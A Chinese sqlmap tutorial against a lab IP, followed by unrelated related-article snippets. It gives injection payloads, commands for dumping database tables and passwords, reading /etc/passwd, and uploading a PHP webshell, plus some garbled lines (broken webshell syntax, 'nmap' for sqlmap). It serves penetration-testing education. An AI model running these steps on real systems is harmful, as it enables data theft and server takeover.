sql注入(5), sqlmap工具

sql注入, sqlmap工具

请注意,在实际操作中使用sqlmap测试和利用SQL注入等安全漏洞应始终符合法律法规和道德准则,并且需要在拥有明确授权的情况下进行。在没有获得适当授权的情况下对任何系统或网络进行渗透测试都是非法的。

sqlmap是由python开发的测试sql注入的工具, 最新版本支持python3.
kali里面内置了sqlmap.

功能:

探测注入点, 数据库类型, webshell权限和路径, 拖库等.

测试级别:

测试级别控制sqlmap在测试SQL注入时发送的测试/负载数量和类型。level的取值范围是1-5, 默认1.

  • Level 1:
    这个级别包括了对于所有DBMS(数据库管理系统)都通用的基本负载。通常这个级别下的负载很有可能触发一个基础的SQL注入。
  • Level 2:
    这个级别通常包括DBMS特定的负载,相较于Level 1,包含了更多的负载类型和数量,用于找出可能在Level 1中被遗漏的一些SQL注入点。
  • Level 3-5:
    这些级别包含了更复杂、更极端的测试负载,可能包括一些冷门的、非常规的或复杂的注入技术。随着级别的提升,测试变得更全面但同时也更消耗时间和资源。
风险值:

风险值控制sqlmap测试和执行时使用的负载“危险程度”。risk的取值范围是1-3. 默认1.

  • Risk 1:
    这个级别通常只使用标准的SQL注入技术,这些负载通常认为是安全的并且不会引发不良后果。
  • Risk 2:
    这个级别可能会使用一些会改变原有SQL语句逻辑的负载。例如,通过使用OR来替代AND,这可能会对应用产生潜在的影响。
  • Risk 3:
    这个级别包括了更加激进的负载,可能导致数据库的明显或损害性的变化。例如,使用WAITFOR DELAY的负载(在一些DBMS中)可能导致数据库挂起,而使用堆栈查询的负载则可能影响到数据库的性能。

一, sql注入测试

url: http://192.168.112.200/security/read.php?id=1
1. 注入测试
sqlmap -u "http://192.168.112.200/security/read.php?id=1"
2. 设置cookie

如果访问的url需要登录状态, 需要设置cookie

sqlmap -u "http://192.168.112.200/security/read.php?id=1" --cookie="PHPSESSID=641f93c51475f6ffa48838b1ee39e6cd"
3. Log说明:
[01:35:04] [INFO] testing connection to the target URL
[01:35:04] [INFO] testing if the target URL content is stable 
[01:35:05] [INFO] target URL content is stable
[01:35:05] [INFO] testing if GET parameter 'id' is dynamic
[01:35:05] [INFO] GET parameter 'id' appears to be dynamic 
[01:35:05] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[01:35:05] [INFO] testing for SQL injection on GET parameter 'id'sqlmap正在测试是否可以连接到目标URL。
sqlmap正在测试目标URL的内容是否稳定。它通过多次发送相同的请求来确认响应的一致性。
表明目标URL的内容在多次请求中保持一致,因此内容是稳定的。
测试GET参数'id'是否是动态的。它会尝试使用不同的'id'参数值并检查响应是否有任何变化,以确定参数是否影响响应的内容。 
这表明改变'id'参数的值确实影响了响应的内容,即它是动态的
启发式(基本)测试表明GET参数'id'可能是可注入的,并且可能的数据库管理系统(DBMS)是'MySQL'。
这说明sqlmap在'id'参数上找到了某些可以识别为SQL注入的模式或行为。
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] sqlmap认为目标后端数据库系统是'MySQL',它询问是否跳过针对其他数据库系统的测试载荷。
如果你按下'Y'或者直接回车,sqlmap将只发送适用于MySQL的测试载荷;
如果你按下'n',则会发送所有适用的测试载荷,不仅限于MySQL。
for the remaining tests, do you want to include all tests for 'MySQL' 
extending provided level (1) and risk (1) values? [Y/n]询问是否要在接下来的测试中包括所有针对'MySQL'的测试,即使这些测试超出了之前提供的级别(level)和风险(risk)值。
[Y/n] 是一个交互提示:
- 如果你选择 "Y" 或直接按下回车键,`sqlmap` 将会执行所有针对'MySQL'的测试,包括那些超出了原始设定级别和风险值的测试。
- 如果你选择 "n",`sqlmap`将会严格按照原始的级别和风险值进行测试,不包括那些超出这些值的测试。
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap在询问你在确认了 'id' 参数存在SQL注入漏洞后,是否想要继续测试其他的参数(如果有的话)。
- 如果输入 "y" 或者按下回车键,sqlmap将继续检查其他GET参数(如果存在的话)是否也存在SQL注入的漏洞。
- 如果输入 "N",sqlmap将停止进一步的测试并保持当前的状态。
由于"N"是大写的,它是默认选项,如果你直接按下回车键而不输入任何内容,它将选择"N"
sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 2531=2531Type: error-basedTitle: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),CONCAT(0x716a767a71,(SELECT (ELT(3318=3318,1))),0x71767a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 2865 FROM (SELECT(SLEEP(5)))Qfzi)Type: UNION queryTitle: Generic UNION query (NULL) - 6 columnsPayload: id=-3335 UNION ALL SELECTNULL,NULL,CONCAT(0x716a767a71,0x426e7a424e504d6d794d434554467a484762477962777570584e4e42686e665742726f726c587944,0x71767a7071),NULL,NULL,NULL-- -
---
[01:47:44] [INFO] the back-end DBMS is MySQL
[01:47:44] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web application technology: PHP 7.3.29, Apache 2.4.48
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[01:47:44] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.112.200'1. **找到的SQL注入点**- `sqlmap`通过一系列的HTTP请求(总共57次)确定了一个或多个注入点。2. **Parameter: id (GET)**- 发现的注入点在GET方法的'id'参数上。3. **各种类型的SQL注入**- **Boolean-based blind SQL injection**- 使用布尔逻辑来确定可以提取的信息,一般会更改查询来观察响应的变化。- `id=1 AND 2531=2531` 是其载荷实例。- **Error-based SQL injection**- 利用数据库的错误信息来提取数据。- `id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),CONCAT(0x716a767a71,(SELECT (ELT(3318=3318,1))),0x71767a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)` 是其载荷实例。- **Time-based blind SQL injection**- 通过观察查询导致的响应延迟来提取数据。- `id=1 AND (SELECT 2865 FROM (SELECT(SLEEP(5)))Qfzi)` 是其载荷实例。- **UNION query SQL injection**- 通过`UNION` SQL运算符插入恶意查询来从数据库中检索数据。- `id=-3335 UNION ALL SELECT NULL,NULL,CONCAT(0x716a767a71,0x426e7a424e504d6d794d434554467a484762477962777570584e4e42686e665742726f726c587944,0x71767a7071),NULL,NULL,NULL-- -` 是其载荷实例。4. **关于后端DBMS的信息**- `sqlmap`确认后端数据库管理系统(DBMS)是MySQL。- 在测试过程中,sqlmap似乎遇到了连接到目标URL的问题,但它将尝试重新发送请求。5. **技术栈信息**- web应用程序使用的技术栈包括PHP 7.3.29和Apache 2.4.486. **后端DBMS详细信息**- 后端DBMS被确定为MySQL的一个版本(或MariaDB的一个分支),版本号应该是5.0或更高。7. **输出存储位置**- 所获取的数据和/或sqlmap的输出被记录并存储在`/root/.local/share/sqlmap/output/192.168.112.200`目录下。
4. 手工验证

根据测试报告中给出的各种类型注入的payload手动测试, 替换成自己需要的数据.

修改前:
id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),CONCAT(0x716a767a71,(SELECT (ELT(3318=3318,1))),0x71767a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
输出结果:
Warning: mysqli_query(): (23000/1062): Duplicate entry 'qjvzq1qvzpq1' for key 'group_key' 
修改后:
id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),CONCAT(0x716a767a71, database(),0x71767a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
输出数据库名:
Warning: mysqli_query(): (23000/1062): Duplicate entry 'qjvzqlearnqvzpq1' for key 'group_key'
5. 清空测试缓存, --flush-session

如果之前对url进行过测试, 那么重复执行测试会很快出现结果.
如果想重新测试, 需要清空缓存.

sqlmap -u "http://192.168.112.200/security/read.php?id=1" --flush-session
6. 指定数据库类型, --dbms

在已知数据库类型时使用这个参数可以加快测试速度.

sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dbms=mysql
7. 提升测试等级, --level

在默认测试后没有发现注入点时可以尝试提升等级

sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dbms=mysql --level=5
8. 省略交互过程进行批处理, --batch
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --batch

二, 拖库

查看所有数据库, --dbs
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dbs
查看当前数据库, --current-db
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --current-db
查看库中所有表, --tables -D “数据库名”
不指定数据库名则查询出所有库的所有表
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --tables
查询指定数据库的所有表
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --tables -D "learn"
查看表中的所有列, --columns -T “表名” -D “数据库名”
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --columns -T "user" -D "learn"
查看并导出表中的所有数据, --dump -C “列名1,列名2,列名3,…” -T “表名” -D “learn”
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dump -C "userid,username,password" -T "user" -D "learn"
查询的结果会保存到本地的csv文件中, 具体路径请查看终端输出的信息.
cat /root/.local/share/sqlmap/output/192.168.112.200/dump/learn/user.csv

三, 判断 DBA 权限

判断是否是DBA, --is-dba
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --is-dba
输出: current user is DBA: True

四, 上传木马文件

1. 自动测试并上传木马文件, 支持多种语言的后端, --os-shell

执行过程: sqlmap猜测能够上传的路径, 然后尝试上传木马文件

sqlmap -u "http://192.168.112.200/security/read.php?id=1" --os-shell
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)它在询问目标服务器支持的语言, 默认是php, 选择后开始测试上传.
自动上传如果失败了就考虑手工测试.
2. 手工读取服务器文件, 上传文件
  • 读取服务器上的文件, --file-read “路径”
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --file-read "/etc/passwd"
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system?
它在询问是否确认远程文件passwd已经从服务器下载了, 确认后可以查看下载到的文件.
files saved to [1]:
[*] /root/.local/share/sqlmap/output/192.168.112.200/files/_etc_passwd (same file)
查看文件
cat /root/.local/share/sqlmap/output/192.168.112.200/files/_etc_passwd
  • 上传文件, --file-write 源路径 --file-dest 目标路径
    准备一个前面讲过的一句话木马文件 mm.php, 比如:
<?php @eval($_POST(['cmd']));?>
sqlmap上传
sqlmap -u "http://192.168.112.200/security/read.php?id=1" 
--file-write ./mm.php --file-dest /opt/lampp/htdocs/security/test/mm.php
[WARNING] it looks like the file has not been written (usually occurs 
if the DBMS process user has no write privileges in the destination path)
写入失败
可能因为路径不存在, 或者没有写入的权限.[INFO] the remote file '/opt/lampp/htdocs/security/test/mm.php' is larger (37 B) than the local file 'mm.php' (32B)
写入成功

在不确定哪个目录由写权限的情况下, 也可以使用python执行sqlmap命令, 根据执行结果判断是否成功.

resp = os.popen("nmap -u ... --batch").read()

五, POST 类型注入

1. 获取 post 请求数据

post 请求的正文可以通过burpsuit截取, [右键] “coupy to file” 保存到文件中.
请求中已经包含了url, cookie等信息. 命令中就不需要再写了. 例如:

POST /security/read.php HTTP/1.1
Host: 192.168.112.200
User-Agent: Mozi1la/5.0 (windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xm],application/xm];q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip,deflate
DNT:1
Cookie: PHPSESSID=641f93c51475f6ffa48838b1ee39e6cd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4id=1
2. POST 请求注入, -r “post文件路径” -p 参数名
  • 当post请求只提交单个参数时, 不需要指定参数名.
    比如: id=1
sqlmap -r ./sql_post.txt
  • 当post请求中提交的参数有多个, 那么可以通过 -p 来指定需要测试注入的那个参数.
    比如: id=1&uname=root&pwd=xxxxxx, 其中 id 是注入测试的位置
sqlmap -r ./sql_post.txt -p id

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/106927.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++引用(起别名)

0.引用的概念 引用不是新定义一个变量&#xff0c;而是给已存在变量取了一个别名&#xff0c;从语法的角度来说编译器不会为引用变量开辟内存空间&#xff0c;它和它引用的变量共用同一块内存空间。比如说你的名字和外号指的都是你本人。 void Test() {int a 10;int& ra …

【MAC】升级 Mac os 后报错

背景 17 年买的 mac&#xff0c;发现很多软件都无法安装&#xff0c;于是升级 mac os 到 10.13&#xff0c;从官网下载 10.13 版本&#xff0c;之后升级&#xff0c;升级还算顺利。但使用 git 的时候发现出现问题了。 问题 使用 git 出现如下错误 xcrun: error: invalid ac…

第二证券:市净率高好还是低好?

市净率是一个衡量公司股票投资价值的指标&#xff0c;通过比较公司股票价格和公司每股净资产的比值来评估公司股票的估值水平。市净率高好还是低好这个问题并没有一个简单的答案&#xff0c;取决于具体的市场环境和投资者的需求。本文将从多个角度分析市净率高好还是低好。 首…

头文件 <cstdarg> 的使用

进行函数可变参数的实现。 va_list&#xff1a; 适用于 va_start()、va_arg() 和 va_end() 这三个宏存储信息的类型。void va_start(va_list ap, last_arg)&#xff1a; 初始化 ap&#xff0c;其中 last_arg 是最后一个传递给函数的已知固定参数。type va_arg(va_list ap, typ…

How to install mysql 8.0 based on podman

创建配置目录 mkdir -p ~/data/podman/mysql-8.0/etc创建数据存储目录 mkdir -p ~/data/podman/mysql-8.0/var临时启动一个实例 docker run --detach \ --restart always \ --publish 23306:3306 \ --name mysql-8.0 \ --volume /usr/share/zoneinfo/Asia/Shanghai:/etc/lo…

安装运行vue-element-admin的报错问题-解决办法

文章目录 1.第一处2.第二处3.安装运行 在使用vue-element-admin时&#xff0c;使用命令安装&#xff1a; npm install -registryhttps://registry.npm.taobao.org会报错&#xff0c;不通过。需要修改两处。 1.第一处 在目录vue-element-admin-master\src\components\Markdown…

【监督学习】基于合取子句进化算法(CCEA)和析取范式进化算法(DNFEA)解决分类问题(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

Docker SpringBoot项目连接本地数据库

要让本地的容器运行的应用程序连接到本机上的PostgreSQL数据库&#xff0c;可以使用以下步骤&#xff1a; 确保本机上已经安装并运行了PostgreSQL数据库。可以使用psql命令行工具或其他可视化工具来管理和连接到本机上的数据库。 在应用程序的配置文件中&#xff0c;将数据库连…

【工具】转码silk格式为mp3

【工具】转码slk格式为mp3 前提 安装 ffmpeg 【安装】Linux安装ffmpeg_linux安装ffmpeg4.4_我是Superman丶的博客-CSDN博客 GitHub - kn007/silk-v3-decoder: [Skype Silk Codec SDK]Decode silk v3 audio files (like wechat amr, aud files, qq slk files) and convert to o…

DataStructure--Tree

1.Tree–Basic 参考链接 2.Binary Tree 参考链接 二叉树是有序树。 简单地理解&#xff0c;满足以下两个条件的树就是二叉树&#xff1a; 1. 本身是有序树&#xff1b; 2. 树中包含的各个节点的度不能超过 2&#xff0c;即只能是 0、1 或者 2&#xff1b;2.1 满二叉树 如果…

单片机综合小项目

一、单片机做项目常识 1.行业常识 2.方案选型 3.此项目定位和思路 二、单片机的小项目介绍 1.项目名称&#xff1a;基于51单片机的温度报警器 &#xff08;1&#xff09;主控&#xff1a;stc51&#xff1b; &#xff08;2&#xff09;编程语言&#xff1a;C语言 &#xff08;…

: 依赖: qtbase5-dev (= 5.12.8+dfsg-0ubuntu2.1) 但是它将不会被安装 或

有一些软件包无法被安装。如果您用的是 unstable 发行版&#xff0c;这也许是因为系统无法达到您要求的状态造成的。E: 无法修正错误&#xff0c;因为您要求某些软件包保持现状&#xff0c;就是它们破坏了软件包间的依赖关系。_unstable发行版-CSDN博客 E: 无法修正错误&#x…

vs studio Ctrl+D 快捷键失效(无法复制行)

打开 调试/选项/环境/键盘&#xff0c;然后设置如下 快去试试吧

DDD之上下文映射图(Context Mapping)

领域驱动设计系列文章&#xff0c;点击上方合集↑ 1. 开头 在DDD中&#xff0c;限界上下文与限界上下文之间需要相互集成&#xff0c;这种集成关系在DDD中称为上下文映射&#xff08;Context Mapping&#xff09;&#xff0c;也就是子域与子域之间的集成关系。 所以首先我们…

Android Studio Giraffe | 2022.3.1

Android Gradle 插件和 Android Studio 兼容性 Android Studio 构建系统以 Gradle 为基础&#xff0c;并且 Android Gradle 插件 (AGP) 添加了几项专用于构建 Android 应用的功能。下表列出了各个 Android Studio 版本所需的 AGP 版本。 如果您的项目不受某个特定版本的 Andr…

nginx实现灰度上线(InsCode AI 创作助手)

要基于Nginx实现灰度上线&#xff0c;有以下三种方法&#xff1a; 权重分发&#xff1a;使用Nginx的upstream模块来设置不同服务器的权重。将一部分请求分发给新版本服务器&#xff0c;另一部分请求分发给旧版本服务器。这可以通过以下方式实现&#xff1a; http {upstream bac…

HTTP的本质理解

HTTP是超文本传输协议&#xff0c;从协议、传输和超文本三个关键词进行进行分解。 协议关键词讲解 1.协议的第一个词是协&#xff0c;这个就表明需要至少两方参与到其中。 2.协议的第二个词是议&#xff0c;表明HTTP是规范和约定&#xff0c;需要大家共同遵守&#xff0c;也包…

英语——语法——从句——句型和句子成分——笔记

老师导言&#xff1a;易于理解。 三种句型&#xff1a;1、主系表&#xff1b;2.主谓*&#xff1b;3.there be 句型&#xff1a;句子构成的形式。句子用于相互沟通&#xff0c;需要表达自己意思&#xff0c;句子中就存在一个主语&#xff0c;一般对主语&#xff08;主要描述对象…

英语进阶指南:高效学习方法,提升英语水平 | 开源专题 No.35

这些开源项目集合了英语学习与翻译工具&#xff0c;包括英语进阶指南、多功能翻译工具、面向程序员的英语学习指南和单词记忆软件。它们提供实用方法&#xff0c;覆盖多个学习方面&#xff0c;满足不同需求。无论您是英语初学者还是想进一步提升&#xff0c;这些资源都能助您轻…

PC防锁屏定时工具

场景 桌面管理软件会在10分钟内无操作时&#xff0c;自动锁屏&#xff0c;但由于某些特殊情况&#xff0c;需要防止锁屏。此时可以写一个工具&#xff0c;定时按下SCROLL LOCK键&#xff0c;此方式适用于台式机。 实现方式 代码非常简单&#xff0c;直接上代码 Java import …